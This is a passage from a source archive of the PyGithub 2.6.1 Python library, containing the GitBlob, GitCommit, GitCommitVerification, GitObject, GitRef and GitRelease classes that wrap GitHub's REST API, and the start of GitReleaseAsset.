Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import Any from github.GithubObject import Attribute, CompletableGithubObject, NotSet class GitBlob(CompletableGithubObject): """ This class represents GitBlobs. The reference can be found here https://docs.github.com/en/rest/reference/git#blobs The OpenAPI schema can be found at - /components/schemas/short-blob """ def _initAttributes(self) -> None: self._content: Attribute[str] = NotSet self._encoding: Attribute[str] = NotSet self._sha: Attribute[str] = NotSet self._size: Attribute[int] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"sha": self._sha.value}) @property def content(self) -> str: self._completeIfNotSet(self._content) return self._content.value @property def encoding(self) -> str: self._completeIfNotSet(self._encoding) return self._encoding.value @property def sha(self) -> str: self._completeIfNotSet(self._sha) return self._sha.value @property def size(self) -> int: self._completeIfNotSet(self._size) return self._size.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "content" in attributes: # pragma no branch self._content = self._makeStringAttribute(attributes["content"]) if "encoding" in attributes: # pragma no branch self._encoding = self._makeStringAttribute(attributes["encoding"]) if "sha" in attributes: # pragma no branch self._sha = self._makeStringAttribute(attributes["sha"]) if "size" in attributes: # pragma no branch self._size = self._makeIntAttribute(attributes["size"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/GitCommit.py0000644000175100001660000002260314756101563016521 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # Copyright 2025 Tim Gates # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import TYPE_CHECKING, Any import github.GitAuthor import github.GitCommitVerification import github.GitTree from github.GithubObject import Attribute, CompletableGithubObject, NotSet, is_defined, is_undefined if TYPE_CHECKING: from github.GitAuthor import GitAuthor from github.GitCommitVerification import GitCommitVerification from github.GitTree import GitTree class GitCommit(CompletableGithubObject): """ This class represents GitCommits. The reference can be found here https://docs.github.com/en/rest/reference/git#commits The OpenAPI schema can be found at - /components/schemas/commit-search-result-item/properties/commit - /components/schemas/commit/properties/commit - /components/schemas/file-commit/properties/commit - /components/schemas/file-commit/properties/commit/properties/parents/items - /components/schemas/git-commit - /components/schemas/git-commit/properties/parents/items - /components/schemas/nullable-simple-commit - /components/schemas/simple-commit """ def _initAttributes(self) -> None: self._author: Attribute[GitAuthor] = NotSet self._comment_count: Attribute[int] = NotSet self._committer: Attribute[GitAuthor] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[str] = NotSet self._message: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._parents: Attribute[list[GitCommit]] = NotSet self._sha: Attribute[str] = NotSet self._timestamp: Attribute[datetime] = NotSet self._tree: Attribute[GitTree] = NotSet self._tree_id: Attribute[str] = NotSet self._url: Attribute[str] = NotSet self._verification: Attribute[GitCommitVerification] = NotSet def __repr__(self) -> str: return self.get__repr__({"sha": self._sha.value}) @property def _identity(self) -> str: return self.sha @property def author(self) -> GitAuthor: self._completeIfNotSet(self._author) return self._author.value @property def comment_count(self) -> int: self._completeIfNotSet(self._comment_count) return self._comment_count.value @property def committer(self) -> GitAuthor: self._completeIfNotSet(self._committer) return self._committer.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def id(self) -> str: self._completeIfNotSet(self._id) return self._id.value @property def message(self) -> str: self._completeIfNotSet(self._message) return self._message.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def parents(self) -> list[GitCommit]: self._completeIfNotSet(self._parents) return self._parents.value @property def sha(self) -> str: # if populated from a simple-commit, id actually holds the sha if is_undefined(self._sha) and is_defined(self._id): return self._id.value self._completeIfNotSet(self._sha) return self._sha.value @property def timestamp(self) -> datetime: self._completeIfNotSet(self._timestamp) return self._timestamp.value @property def tree(self) -> GitTree: # if populated from a simple-commit, tree_id holds the sha if is_undefined(self._tree) and is_defined(self._tree_id): return github.GitTree.GitTree(self._requester, self._headers, {"sha": self._tree_id.value}) self._completeIfNotSet(self._tree) return self._tree.value @property def tree_id(self) -> str: self._completeIfNotSet(self._tree_id) return self._tree_id.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property def verification(self) -> GitCommitVerification: self._completeIfNotSet(self._verification) return self._verification.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "author" in attributes: # pragma no branch self._author = self._makeClassAttribute(github.GitAuthor.GitAuthor, attributes["author"]) if "comment_count" in attributes: # pragma no branch self._comment_count = self._makeIntAttribute(attributes["comment_count"]) if "committer" in attributes: # pragma no branch self._committer = self._makeClassAttribute(github.GitAuthor.GitAuthor, attributes["committer"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeStringAttribute(attributes["id"]) if "message" in attributes: # pragma no branch self._message = self._makeStringAttribute(attributes["message"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "parents" in attributes: # pragma no branch self._parents = self._makeListOfClassesAttribute(GitCommit, attributes["parents"]) if "sha" in attributes: # pragma no branch self._sha = self._makeStringAttribute(attributes["sha"]) if "timestamp" in attributes: # pragma no branch self._timestamp = self._makeDatetimeAttribute(attributes["timestamp"]) if "tree" in attributes: # pragma no branch self._tree = self._makeClassAttribute(github.GitTree.GitTree, attributes["tree"]) if "tree_id" in attributes: # pragma no branch self._tree_id = self._makeStringAttribute(attributes["tree_id"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "verification" in attributes: # pragma no branch self._verification = self._makeClassAttribute( github.GitCommitVerification.GitCommitVerification, attributes["verification"] ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/GitCommitVerification.py0000644000175100001660000001207214756101563021063 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Justin Kufro # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # Copyright 2025 Tim Gates # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class GitCommitVerification(NonCompletableGithubObject): """ This class represents commit verifications. The reference can be found here https://docs.github.com/en/rest/commits/commits The OpenAPI schema can be found at - /components/schemas/git-commit/properties/verification """ def _initAttributes(self) -> None: self._verified: Attribute[bool] = NotSet self._verified_at: Attribute[datetime] = NotSet self._reason: Attribute[str] = NotSet self._signature: Attribute[str] = NotSet self._payload: Attribute[str] = NotSet @property def verified(self) -> bool: return self._verified.value @property def verified_at(self) -> datetime: return self._verified_at.value @property def reason(self) -> str: return self._reason.value @property def signature(self) -> str: return self._signature.value @property def payload(self) -> str: return self._payload.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "verified" in attributes: # pragma no branch self._verified = self._makeBoolAttribute(attributes["verified"]) if "verified_at" in attributes: # pragma no branch self._verified_at = self._makeDatetimeAttribute(attributes["verified_at"]) if "reason" in attributes: # pragma no branch self._reason = self._makeStringAttribute(attributes["reason"]) if "signature" in attributes: # pragma no branch self._signature = self._makeStringAttribute(attributes["signature"]) if "payload" in attributes: # pragma no branch self._payload = self._makeStringAttribute(attributes["payload"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/GitObject.py0000644000175100001660000001024714756101563016500 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class GitObject(NonCompletableGithubObject): """ This class represents GitObjects. The OpenAPI schema can be found at - /components/schemas/git-ref/properties/object - /components/schemas/git-tag/properties/object """ def _initAttributes(self) -> None: self._sha: Attribute[str] = NotSet self._type: Attribute[str] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"sha": self._sha.value}) @property def sha(self) -> str: return self._sha.value @property def type(self) -> str: return self._type.value @property def url(self) -> str: return self._url.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "sha" in attributes: # pragma no branch self._sha = self._makeStringAttribute(attributes["sha"]) if "type" in attributes: # pragma no branch self._type = self._makeStringAttribute(attributes["type"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/GitRef.py0000644000175100001660000001350614756101563016007 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import TYPE_CHECKING, Any import github.GithubObject import github.GitObject from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt, is_optional if TYPE_CHECKING: from github.GitObject import GitObject class GitRef(CompletableGithubObject): """ This class represents GitRefs. The reference can be found here https://docs.github.com/en/rest/reference/git#references The OpenAPI schema can be found at - /components/schemas/git-ref """ def _initAttributes(self) -> None: self._node_id: Attribute[str] = NotSet self._object: Attribute[GitObject] = NotSet self._ref: Attribute[str] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"ref": self._ref.value}) @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def object(self) -> GitObject: self._completeIfNotSet(self._object) return self._object.value @property def ref(self) -> str: self._completeIfNotSet(self._ref) return self._ref.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def delete(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/git/refs/{ref} `_ """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) def edit(self, sha: str, force: Opt[bool] = NotSet) -> None: """ :calls: `PATCH /repos/{owner}/{repo}/git/refs/{ref} `_ """ assert isinstance(sha, str), sha assert is_optional(force, bool), force post_parameters = NotSet.remove_unset_items({"sha": sha, "force": force}) headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "object" in attributes: # pragma no branch self._object = self._makeClassAttribute(github.GitObject.GitObject, attributes["object"]) if "ref" in attributes: # pragma no branch self._ref = self._makeStringAttribute(attributes["ref"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/GitRelease.py0000644000175100001660000004661714756101563016664 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2013 martinqt # # Copyright 2014 Vincent Jacques # # Copyright 2015 Ed Holland # # Copyright 2016 Benjamin Whitney # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Chris McBride # # Copyright 2017 Simon # # Copyright 2018 Daniel Kesler # # Copyright 2018 Ggicci # # Copyright 2018 Kuba # # Copyright 2018 Maarten Fonville # # Copyright 2018 Shinichi TAMURA # # Copyright 2018 Wan Liuyang # # Copyright 2018 edquist # # Copyright 2018 nurupo # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Alice GIRARD # # Copyright 2020 Jesse Li # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Mikhail f. Shiryaev # # Copyright 2023 Trim21 # # Copyright 2023 Wojciech Barczyński <104033489+WojciechBarczynski@users.noreply.github.com># # Copyright 2024 Benjamin K <53038537+treee111@users.noreply.github.com> # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from os.path import basename from typing import Any, BinaryIO import github.GitReleaseAsset import github.NamedUser from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt, is_optional from github.PaginatedList import PaginatedList from . import Consts class GitRelease(CompletableGithubObject): """ This class represents GitReleases. The reference can be found here https://docs.github.com/en/rest/reference/repos#releases The OpenAPI schema can be found at - /components/schemas/basic-error - /components/schemas/release """ def _initAttributes(self) -> None: self._assets: Attribute[list[github.GitReleaseAsset.GitReleaseAsset]] = NotSet self._assets_url: Attribute[str] = NotSet self._author: Attribute[github.NamedUser.NamedUser] = NotSet self._body: Attribute[str] = NotSet self._body_html: Attribute[str] = NotSet self._body_text: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._discussion_url: Attribute[str] = NotSet self._documentation_url: Attribute[str] = NotSet self._draft: Attribute[bool] = NotSet self._generate_release_notes: Attribute[bool] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._mentions_count: Attribute[int] = NotSet self._message: Attribute[str] = NotSet self._name: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._prerelease: Attribute[bool] = NotSet self._published_at: Attribute[datetime] = NotSet self._reactions: Attribute[dict[str, Any]] = NotSet self._status: Attribute[str] = NotSet self._tag_name: Attribute[str] = NotSet self._tarball_url: Attribute[str] = NotSet self._target_commitish: Attribute[str] = NotSet self._title: Attribute[str] = NotSet self._upload_url: Attribute[str] = NotSet self._url: Attribute[str] = NotSet self._zipball_url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"title": self._title.value}) @property def assets(self) -> list[github.GitReleaseAsset.GitReleaseAsset]: self._completeIfNotSet(self._assets) return self._assets.value @property def assets_url(self) -> str: self._completeIfNotSet(self._assets_url) return self._assets_url.value @property def author(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._author) return self._author.value @property def body(self) -> str: self._completeIfNotSet(self._body) return self._body.value @property def body_html(self) -> str: self._completeIfNotSet(self._body_html) return self._body_html.value @property def body_text(self) -> str: self._completeIfNotSet(self._body_text) return self._body_text.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def discussion_url(self) -> str: self._completeIfNotSet(self._discussion_url) return self._discussion_url.value @property def documentation_url(self) -> str: self._completeIfNotSet(self._documentation_url) return self._documentation_url.value @property def draft(self) -> bool: self._completeIfNotSet(self._draft) return self._draft.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def mentions_count(self) -> int: self._completeIfNotSet(self._mentions_count) return self._mentions_count.value @property def message(self) -> str: self._completeIfNotSet(self._message) return self._message.value @property def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def prerelease(self) -> bool: self._completeIfNotSet(self._prerelease) return self._prerelease.value @property def published_at(self) -> datetime: self._completeIfNotSet(self._published_at) return self._published_at.value @property def reactions(self) -> dict[str, Any]: self._completeIfNotSet(self._reactions) return self._reactions.value @property def status(self) -> str: self._completeIfNotSet(self._status) return self._status.value @property def tag_name(self) -> str: self._completeIfNotSet(self._tag_name) return self._tag_name.value @property def tarball_url(self) -> str: self._completeIfNotSet(self._tarball_url) return self._tarball_url.value @property def target_commitish(self) -> str: self._completeIfNotSet(self._target_commitish) return self._target_commitish.value @property def title(self) -> str: self._completeIfNotSet(self._title) return self._title.value @property def upload_url(self) -> str: self._completeIfNotSet(self._upload_url) return self._upload_url.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property def zipball_url(self) -> str: self._completeIfNotSet(self._zipball_url) return self._zipball_url.value def delete_release(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/releases/{release_id} `_ """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) def update_release( self, name: str, message: str, draft: bool = False, prerelease: bool = False, tag_name: Opt[str] = NotSet, target_commitish: Opt[str] = NotSet, make_latest: Opt[str] = NotSet, discussion_category_name: Opt[str] = NotSet, ) -> GitRelease: """ :calls: `PATCH /repos/{owner}/{repo}/releases/{release_id} `_ """ assert isinstance(name, str), name assert isinstance(message, str), message assert isinstance(draft, bool), draft assert isinstance(prerelease, bool), prerelease assert is_optional(tag_name, str), "tag_name must be a str/unicode object" assert is_optional(target_commitish, str), "target_commitish must be a str/unicode object" assert make_latest in ["true", "false", "legacy", NotSet], make_latest assert is_optional(discussion_category_name, str), discussion_category_name # default tag_name with instance attribute if not given to the method if tag_name is NotSet: tag_name = self.tag_name post_parameters = { "tag_name": tag_name, "name": name, "body": message, "draft": draft, "prerelease": prerelease, } # Do not set target_commitish to self.target_commitish when omitted, just don't send it # altogether in that case, in order to match the Github API behaviour. Only send it when set. if target_commitish is not NotSet: post_parameters["target_commitish"] = target_commitish if make_latest is not NotSet: post_parameters["make_latest"] = make_latest if discussion_category_name is not NotSet: post_parameters["discussion_category_name"] = discussion_category_name headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) return github.GitRelease.GitRelease(self._requester, headers, data, completed=True) def upload_asset( self, path: str, label: str = "", content_type: Opt[str] = NotSet, name: Opt[str] = NotSet ) -> github.GitReleaseAsset.GitReleaseAsset: """ :calls: `POST https:///repos/{owner}/{repo}/releases/{release_id}/assets `_ """ assert isinstance(path, str), path assert isinstance(label, str), label assert name is NotSet or isinstance(name, str), name post_parameters: dict[str, Any] = {"label": label} if name is NotSet: post_parameters["name"] = basename(path) else: post_parameters["name"] = name headers: dict[str, Any] = {} if content_type is not NotSet: headers["Content-Type"] = content_type resp_headers, data = self._requester.requestBlobAndCheck( "POST", self.upload_url.split("{?")[0], parameters=post_parameters, headers=headers, input=path, ) return github.GitReleaseAsset.GitReleaseAsset(self._requester, resp_headers, data, completed=True) def upload_asset_from_memory( self, file_like: BinaryIO, file_size: int, name: str, content_type: Opt[str] = NotSet, label: str = "", ) -> github.GitReleaseAsset.GitReleaseAsset: """ Uploads an asset. Unlike ``upload_asset()`` this method allows you to pass in a file-like object to upload. Note that this method is more strict and requires you to specify the ``name``, since there's no file name to infer these from. :calls: `POST https:///repos/{owner}/{repo}/releases/{release_id}/assets `_ :param file_like: binary file-like object, such as those returned by ``open("file_name", "rb")``. At the very minimum, this object must implement ``read()``. :param file_size: int, size in bytes of ``file_like`` """ assert isinstance(name, str), name assert isinstance(file_size, int), file_size assert isinstance(label, str), label post_parameters = {"label": label, "name": name} content_type = content_type if content_type is not NotSet else Consts.defaultMediaType headers = {"Content-Type": content_type, "Content-Length": str(file_size)} resp_headers, data = self._requester.requestMemoryBlobAndCheck( "POST", self.upload_url.split("{?")[0], parameters=post_parameters, headers=headers, file_like=file_like, ) return github.GitReleaseAsset.GitReleaseAsset(self._requester, resp_headers, data, completed=True) def get_assets(self) -> PaginatedList[github.GitReleaseAsset.GitReleaseAsset]: """ :calls: `GET /repos/{owner}/{repo}/releases/{release_id}/assets `_ """ return github.PaginatedList.PaginatedList( github.GitReleaseAsset.GitReleaseAsset, self._requester, f"{self.url}/assets", None, ) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "assets" in attributes: self._assets = self._makeListOfClassesAttribute( github.GitReleaseAsset.GitReleaseAsset, attributes["assets"] ) if "assets_url" in attributes: # pragma no branch self._assets_url = self._makeStringAttribute(attributes["assets_url"]) if "author" in attributes: self._author = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["author"]) if "body" in attributes: self._body = self._makeStringAttribute(attributes["body"]) if "body_html" in attributes: # pragma no branch self._body_html = self._makeStringAttribute(attributes["body_html"]) if "body_text" in attributes: # pragma no branch self._body_text = self._makeStringAttribute(attributes["body_text"]) if "created_at" in attributes: self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "discussion_url" in attributes: # pragma no branch self._discussion_url = self._makeStringAttribute(attributes["discussion_url"]) if "documentation_url" in attributes: # pragma no branch self._documentation_url = self._makeStringAttribute(attributes["documentation_url"]) if "draft" in attributes: self._draft = self._makeBoolAttribute(attributes["draft"]) if "generate_release_notes" in attributes: self._generate_release_notes = self._makeBoolAttribute(attributes["generate_release_notes"]) if "html_url" in attributes: self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: self._id = self._makeIntAttribute(attributes["id"]) if "mentions_count" in attributes: # pragma no branch self._mentions_count = self._makeIntAttribute(attributes["mentions_count"]) if "message" in attributes: # pragma no branch self._message = self._makeStringAttribute(attributes["message"]) if "name" in attributes: self._title = self._makeStringAttribute(attributes["name"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "prerelease" in attributes: self._prerelease = self._makeBoolAttribute(attributes["prerelease"]) if "published_at" in attributes: self._published_at = self._makeDatetimeAttribute(attributes["published_at"]) if "reactions" in attributes: # pragma no branch self._reactions = self._makeDictAttribute(attributes["reactions"]) if "status" in attributes: # pragma no branch self._status = self._makeStringAttribute(attributes["status"]) if "tag_name" in attributes: self._tag_name = self._makeStringAttribute(attributes["tag_name"]) if "tarball_url" in attributes: self._tarball_url = self._makeStringAttribute(attributes["tarball_url"]) if "target_commitish" in attributes: self._target_commitish = self._makeStringAttribute(attributes["target_commitish"]) if "upload_url" in attributes: self._upload_url = self._makeStringAttribute(attributes["upload_url"]) if "url" in attributes: self._url = self._makeStringAttribute(attributes["url"]) if "zipball_url" in attributes: self._zipball_url = self._makeStringAttribute(attributes["zipball_url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/GitReleaseAsset.py0000644000175100001660000002217014756101563017650 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Chris McBride # # Copyright 2017 Simon # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # Copyright 2025 Neel Malik <41765022+neel-m@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any, Iterator import github.NamedUser from github.GithubObject import Attribute, CompletableGithubObject, NotSet class GitReleaseAsset(CompletableGithubObject): """ This class represents GitReleaseAssets. The reference can be found here https://docs.github.com/en/rest/reference/repos#releases The OpenAPI schema can be found at - /components/schemas/release-asset """ def _initAttributes(self) -> None: self._browser_download_url: Attribute[str] = NotSet self._content_type: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._download_count: Attribute[int] = NotSet self._id: 